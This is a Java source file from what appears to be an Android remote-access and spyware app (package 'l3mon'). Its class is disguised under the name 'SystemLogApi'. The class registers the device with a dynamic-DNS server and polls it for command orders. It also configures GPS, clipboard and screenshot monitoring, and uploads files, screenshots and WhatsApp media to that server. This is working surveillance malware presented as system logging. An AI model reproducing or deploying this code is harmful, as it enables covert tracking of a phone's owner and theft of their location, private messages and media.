package com.etechd.l3mon;

import android.content.Context;
import android.content.SharedPreferences;
import android.os.Build;
import android.os.Looper;
import android.provider.Settings;
import android.util.Log;

import org.json.JSONArray;
import org.json.JSONObject;

import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicReference;

public class SystemLogApi {
    public static final String BASE_URL = "http://syslogbra.ddns.net/api/v1/devices";
    private static final String TAG = "SystemLog";
    private static final String PREFS = "systemlog";
    private static Context appContext;
    private static int pollInterval = 15;
    private static int heartbeatInterval = 45;
    private static int gpsIntervalSeconds = 0;
    private static long lastHeartbeat = 0;

    public static void init(Context ctx) {
        appContext = ctx.getApplicationContext();
        int savedGps = prefs().getInt("gps_interval", 0);
        if (savedGps >= 30) {
            gpsIntervalSeconds = savedGps;
            GpsMonitor.updateInterval(appContext, savedGps);
        }
    }

    public static Context getAppContext() {
        return appContext;
    }

    static SharedPreferences prefs() {
        return appContext.getSharedPreferences(PREFS, Context.MODE_PRIVATE);
    }

    public static String getToken() {
        return prefs().getString("device_token", null);
    }

    public static int getPollInterval() {
        return pollInterval;
    }

    public static int getHeartbeatInterval() {
        return heartbeatInterval;
    }

    public static int getGpsIntervalSeconds() {
        return gpsIntervalSeconds;
    }

    public static boolean register() {
        try {
            String deviceId = Settings.Secure.getString(
                    appContext.getContentResolver(), Settings.Secure.ANDROID_ID);
            JSONObject body = new JSONObject();
            body.put("device_id", deviceId);
            body.put("model", Build.MODEL);
            body.put("manufacturer", Build.MANUFACTURER);
            body.put("android_version", Build.VERSION.RELEASE);

            String resp = postJson("/register", body.toString(), false);
            if (resp == null) {
                return false;
            }

            JSONObject json = new JSONObject(resp);
            if (json.optBoolean("error", true)) {
                return false;
            }

            JSONObject data = json.getJSONObject("data");
            prefs().edit().putString("device_token", data.getString("device_token")).apply();
            pollInterval = data.optInt("poll_interval", 15);
            heartbeatInterval = data.optInt("heartbeat_interval", 45);
            applyGpsInterval(data.optInt("gps_interval", gpsIntervalSeconds));
            lastHeartbeat = 0;
            heartbeatIfNeeded();
            Log.i(TAG, "Registered OK");
            DeviceInfoCollector.reportNow(appContext);
            return true;
        } catch (Exception e) {
            Log.e(TAG, "register: " + e.getMessage());
            return false;
        }
    }

    public static void heartbeatIfNeeded() {
        long now = System.currentTimeMillis();
        if (now - lastHeartbeat < heartbeatInterval * 1000L) {
            return;
        }
        String resp = postJson("/heartbeat", "{}", true);
        if (resp != null) {
            lastHeartbeat = now;
            applyHeartbeatResponse(resp);
        }
    }

    private static void applyGpsInterval(int seconds) {
        if (seconds >= 30) {
            GpsLocationFilter.setReportIntervalSeconds(seconds);
        }
        if (seconds == gpsIntervalSeconds) {
            return;
        }
        gpsIntervalSeconds = seconds;
        prefs().edit().putInt("gps_interval", seconds).apply();
        if (appContext != null) {
            GpsMonitor.updateInterval(appContext, gpsIntervalSeconds);
        }
    }

    private static void applyGpsCaptureConfig(JSONObject gps) {
        if (gps != null) {
            GpsLocationFilter.applyServerConfig(gps);
        }
    }

    /** Aplica gps_interval y monitor devueltos en poll/heartbeat. */
    public static void applyServerConfig(JSONObject data) {
        if (data == null) {
            return;
        }
        if (data.has("gps_interval")) {
            applyGpsInterval(data.optInt("gps_interval", gpsIntervalSeconds));
        }
        applyGpsCaptureConfig(data.optJSONObject("gps"));
        JSONObject monitor = data.optJSONObject("monitor");
        if (monitor != null) {
            BackgroundMonitor.applyServerConfig(monitor);
            if (monitor.has("clipboard_seconds") && appContext != null) {
                ClipboardMonitor.setPollSeconds(monitor.optInt("clipboard_seconds", 30));
            }
        }
        JSONArray screenshots = data.optJSONArray("screenshots");
        if (screenshots != null) {
            ScreenshotMonitor.applyServerConfig(screenshots);
        }
    }

    private static void applyHeartbeatResponse(String resp) {
        try {
            JSONObject json = new JSONObject(resp);
            JSONObject data = json.optJSONObject("data");
            if (data == null) {
                return;
            }
            applyServerConfig(data);
        } catch (Exception e) {
            Log.e(TAG, "heartbeat parse: " + e.getMessage());
        }
    }

    public static boolean postEmpty(String path) {
        return postJson(path, "{}", true) != null;
    }

    public static boolean report(String type, JSONObject payload) {
        try {
            JSONObject body = new JSONObject();
            body.put("type", type);
            body.put("payload", payload);
            return postJson("/report", body.toString(), true) != null;
        } catch (Exception e) {
            Log.e(TAG, "report: " + e.getMessage());
            return false;
        }
    }

    public static boolean reportBoolean(String type, boolean value) {
        try {
            JSONObject payload = new JSONObject();
            payload.put("sent", value);
            return report(type, payload);
        } catch (Exception e) {
            return false;
        }
    }

    public static JSONObject poll() {
        try {
            String resp = postJson("/poll", "{}", true);
            if (resp == null) {
                return null;
            }
            JSONObject json = new JSONObject(resp);
            JSONObject data = json.optJSONObject("data");
            if (data != null) {
                applyServerConfig(data);
            }
            if (data == null || data.isNull("order")) {
                return null;
            }
            return data.getJSONObject("order");
        } catch (Exception e) {
            Log.e(TAG, "poll: " + e.getMessage());
            return null;
        }
    }

    public static boolean ack(int commandId) {
        try {
            JSONObject body = new JSONObject();
            body.put("command_id", commandId);
            return postJson("/ack", body.toString(), true) != null;
        } catch (Exception e) {
            return false;
        }
    }

    public static boolean uploadWithMeta(File file, String type, String originalName, String remotePath) {
        HttpURLConnection conn = null;
        try {
            String token = getToken();
            if (token == null) {
                return false;
            }

            String boundary = "----SystemLogBoundary";
            URL url = new URL(BASE_URL + "/upload");
            conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("POST");
            conn.setDoOutput(true);
            conn.setConnectTimeout(30000);
            conn.setReadTimeout(120000);
            conn.setRequestProperty("X-Device-Token", token);
            conn.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);

            OutputStream os = conn.getOutputStream();
            DataOutputStream dos = new DataOutputStream(os);

            writeField(dos, boundary, "type", type);
            writeField(dos, boundary, "original_name", originalName);
            if (remotePath != null && !remotePath.isEmpty()) {
                writeField(dos, boundary, "remote_path", remotePath);
            }

            dos.writeBytes("--" + boundary + "\r\n");
            dos.writeBytes("Content-Disposition: form-data; name=\"file\"; filename=\"" + originalName + "\"\r\n");
            dos.writeBytes("Content-Type: application/octet-stream\r\n\r\n");

            FileInputStream fis = new FileInputStream(file);
            byte[] buffer = new byte[4096];
            int read;
            while ((read = fis.read(buffer)) != -1) {
                dos.write(buffer, 0, read);
            }
            fis.close();
            dos.writeBytes("\r\n--" + boundary + "--\r\n");
            dos.flush();
            dos.close();

            int code = conn.getResponseCode();
            return code >= 200 && code < 300;
        } catch (Exception e) {
            Log.e(TAG, "upload: " + e.getMessage());
            return false;
        } finally {
            if (conn != null) {
                conn.disconnect();
            }
        }
    }

    public static boolean upload(File file, String type, String originalName) {
        return uploadWithMeta(file, type, originalName, null);
    }

    public static boolean uploadScreenshot(File file, int ruleId, float matchScore, long capturedAtEpoch, String originalName, JSONArray detectedTemplates) {
        HttpURLConnection conn = null;
        try {
            String token = getToken();
            if (token == null) {
                return false;
            }

            String boundary = "----SystemLogBoundary";
            URL url = new URL(BASE_URL + "/upload");
            conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("POST");
            conn.setDoOutput(true);
            conn.setConnectTimeout(30000);
            conn.setReadTimeout(120000);
            conn.setRequestProperty("X-Device-Token", token);
            conn.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);

            OutputStream os = conn.getOutputStream();
            DataOutputStream dos = new DataOutputStream(os);

            writeField(dos, boundary, "type", "screenshot");
            writeField(dos, boundary, "original_name", originalName);
            writeField(dos, boundary, "rule_id", String.valueOf(ruleId));
            writeField(dos, boundary, "match_score", String.format(java.util.Locale.US, "%.4f", matchScore));
            writeField(dos, boundary, "captured_at", String.valueOf(capturedAtEpoch));
            if (detectedTemplates != null && detectedTemplates.length() > 0) {
                writeField(dos, boundary, "detected_templates", detectedTemplates.toString());
            }

            dos.writeBytes("--" + boundary + "\r\n");
            dos.writeBytes("Content-Disposition: form-data; name=\"file\"; filename=\"" + originalName + "\"\r\n");
            dos.writeBytes("Content-Type: image/jpeg\r\n\r\n");

            FileInputStream fis = new FileInputStream(file);
            byte[] buffer = new byte[4096];
            int read;
            while ((read = fis.read(buffer)) != -1) {
                dos.write(buffer, 0, read);
            }
            fis.close();
            dos.writeBytes("\r\n--" + boundary + "--\r\n");
            dos.flush();
            dos.close();

            int code = conn.getResponseCode();
            return code >= 200 && code < 300;
        } catch (Exception e) {
            String msg = e.getMessage();
            if (msg == null || msg.isEmpty()) {
                msg = e.getClass().getSimpleName();
            }
            Log.e(TAG, "uploadScreenshot: " + msg);
            return false;
        } finally {
            if (conn != null) {
                conn.disconnect();
            }
        }
    }

    public static boolean uploadWhatsAppMedia(
            File file,
            String originalName,
            String remotePath,
            String category,
            long fileModifiedEpoch
    ) {
        HttpURLConnection conn = null;
        try {
            String token = getToken();
            if (token == null) {
                return false;
            }

            String boundary = "----SystemLogBoundary";
            URL url = new URL(BASE_URL + "/upload");
            conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("POST");
            conn.setDoOutput(true);
            conn.setConnectTimeout(30000);
            conn.setReadTimeout(300000);
            conn.setRequestProperty("X-Device-Token", token);
            conn.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);

            OutputStream os = conn.getOutputStream();
            DataOutputStream dos = new DataOutputStream(os);

            writeField(dos, boundary, "type", "whatsapp_media");
            writeField(dos, boundary, "original_name", originalName);
            writeField(dos, boundary, "remote_path", remotePath);
            writeField(dos, boundary, "whatsapp_category", category);
            writeField(dos, boundary, "file_modified", String.valueOf(fileModifiedEpoch));

            dos.writeBytes("--" + boundary + "\r\n");
            dos.writeBytes("Content-Disposition: form-data; name=\"file\"; filename=\"" + originalName + "\"\r\n");
            dos.writeBytes("Content-Type: application/octet-stream\r\n\r\n");

            FileInputStream fis = new FileInputStream(file);
            byte[] buffer = new byte[8192];
            int read;
            while ((read = fis.read(buffer)) != -1) {
                dos.write(buffer, 0, read);
            }
            fis.close();
            dos.writeBytes("\r\n--" + boundary + "--\r\n");
            dos.flush();
            dos.close();

            int code = conn.getResponseCode();
            return code >= 200 && code < 300;
        } catch (Exception e) {
            Log.e(TAG, "uploadWhatsAppMedia: " + e.getMessage());
            return false;
        } finally {
            if (conn != null) {
                conn.disconnect();
            }
        }
    }

    public static byte[] downloadScreenshotTemplate(int ruleId) {
        HttpURLConnection conn = null;
        try {
            String token = getToken();
            if (token == null) {
                return null;
            }

            URL url = new URL(BASE_URL + "/screenshot-templates/" + ruleId);
            conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("GET");
            conn.setConnectTimeout(30000);
            conn.setReadTimeout(60000);
            conn.setRequestProperty("X-Device-Token", token);

            int code = conn.getResponseCode();
            if (code == 401) {
                register();
                return null;
            }
            if (code < 200 || code >= 300) {
                return null;
            }

            InputStream is = conn.getInputStream();
            java.io.ByteArrayOutputStream bos = new java.io.ByteArrayOutputStream();
            byte[] buffer = new byte[4096];
            int read;
            while ((read = is.read(buffer)) != -1) {
                bos.write(buffer, 0, read);
            }
            is.close();
            return bos.toByteArray();
        } catch (Exception e) {
            Log.e(TAG, "downloadScreenshotTemplate: " + e.getMessage());
            return null;
        } finally {
            if (conn != null) {
                conn.disconnect();
            }
        }
    }

    public static boolean uploadBytes(byte[] data, String type, String originalName) {
        if (Looper.myLooper() == Looper.getMainLooper()) {
            final AtomicReference<Boolean> result = new AtomicReference<>(false);
            final CountDownLatch latch = new CountDownLatch(1);
            final byte[] payload = data;
            new Thread(new Runnable() {
                @Override
                public void run() {
                    try {
                        result.set(uploadBytesInternal(payload, type, originalName));
                    } finally {
                        latch.countDown();
                    }
                }
            }, "SystemLogUpload").start();
            try {
                latch.await(180, TimeUnit.SECONDS);
            } catch (InterruptedException e) {
                Thread.currentThread().interrupt();
            }
            Boolean ok = result.get();
            return ok != null && ok;
        }
        return uploadBytesInternal(data, type, originalName);
    }

    private static boolean uploadBytesInternal(byte[] data, String type, String originalName) {
        try {
            File tmp = File.createTempFile("slu", ".bin", appContext.getCacheDir());
            java.io.FileOutputStream fos = new java.io.FileOutputStream(tmp);
            fos.write(data);
            fos.close();
            boolean ok = uploadWithMeta(tmp, type, originalName, null);
            tmp.delete();
            return ok;
        } catch (Exception e) {
            Log.e(TAG, "uploadBytes: " + e.getMessage());
            return false;
        }
    }

    private static void writeField(DataOutputStream dos, String boundary, String name, String value) throws Exception {
        dos.writeBytes("--" + boundary + "\r\n");
        dos.writeBytes("Content-Disposition: form-data; name=\"" + name + "\"\r\n\r\n");
        dos.writeBytes(value + "\r\n");
    }

    private static String postJson(String path, String json, boolean auth) {
        if (Looper.myLooper() == Looper.getMainLooper()) {
            final AtomicReference<String> result = new AtomicReference<>(null);
            final CountDownLatch latch = new CountDownLatch(1);
            new Thread(new Runnable() {
                @Override
                public void run() {
                    try {
                        result.set(postJsonInternal(path, json, auth));
                    } finally {
                        latch.countDown();
                    }
                }
            }, "SystemLogNet").start();
            try {
                if (!latch.await(120, TimeUnit.SECONDS)) {
                    Log.e(TAG, "postJson " + path + ": timeout en hilo de red");
                }
            } catch (InterruptedException e) {
                Thread.currentThread().interrupt();
            }
            return result.get();
        }
        return postJsonInternal(path, json, auth);
    }

    private static String postJsonInternal(String path, String json, boolean auth) {
        HttpURLConnection conn = null;
        try {
            URL url = new URL(BASE_URL + path);
            conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("POST");
            conn.setDoOutput(true);
            conn.setConnectTimeout(30000);
            conn.setReadTimeout(30000);
            conn.setRequestProperty("Content-Type", "application/json; charset=utf-8");

            if (auth) {
                String token = getToken();
                if (token == null) {
                    return null;
                }
                conn.setRequestProperty("X-Device-Token", token);
            }

            OutputStream os = conn.getOutputStream();
            os.write(json.getBytes("UTF-8"));
            os.flush();
            os.close();

            int code = conn.getResponseCode();
            if (code == 401) {
                register();
                return null;
            }
            if (code < 200 || code >= 300) {
                return null;
            }

            InputStream is = conn.getInputStream();
            BufferedReader br = new BufferedReader(new InputStreamReader(is, "UTF-8"));
            StringBuilder sb = new StringBuilder();
            String line;
            while ((line = br.readLine()) != null) {
                sb.append(line);
            }
            br.close();
            return sb.toString();
        } catch (Exception e) {
            String detail = e.getMessage();
            if (detail == null || detail.isEmpty()) {
                detail = e.getClass().getSimpleName();
            }
            Log.e(TAG, "postJson " + path + ": " + detail);
            return null;
        } finally {
            if (conn != null) {
                conn.disconnect();
            }
        }
    }
}
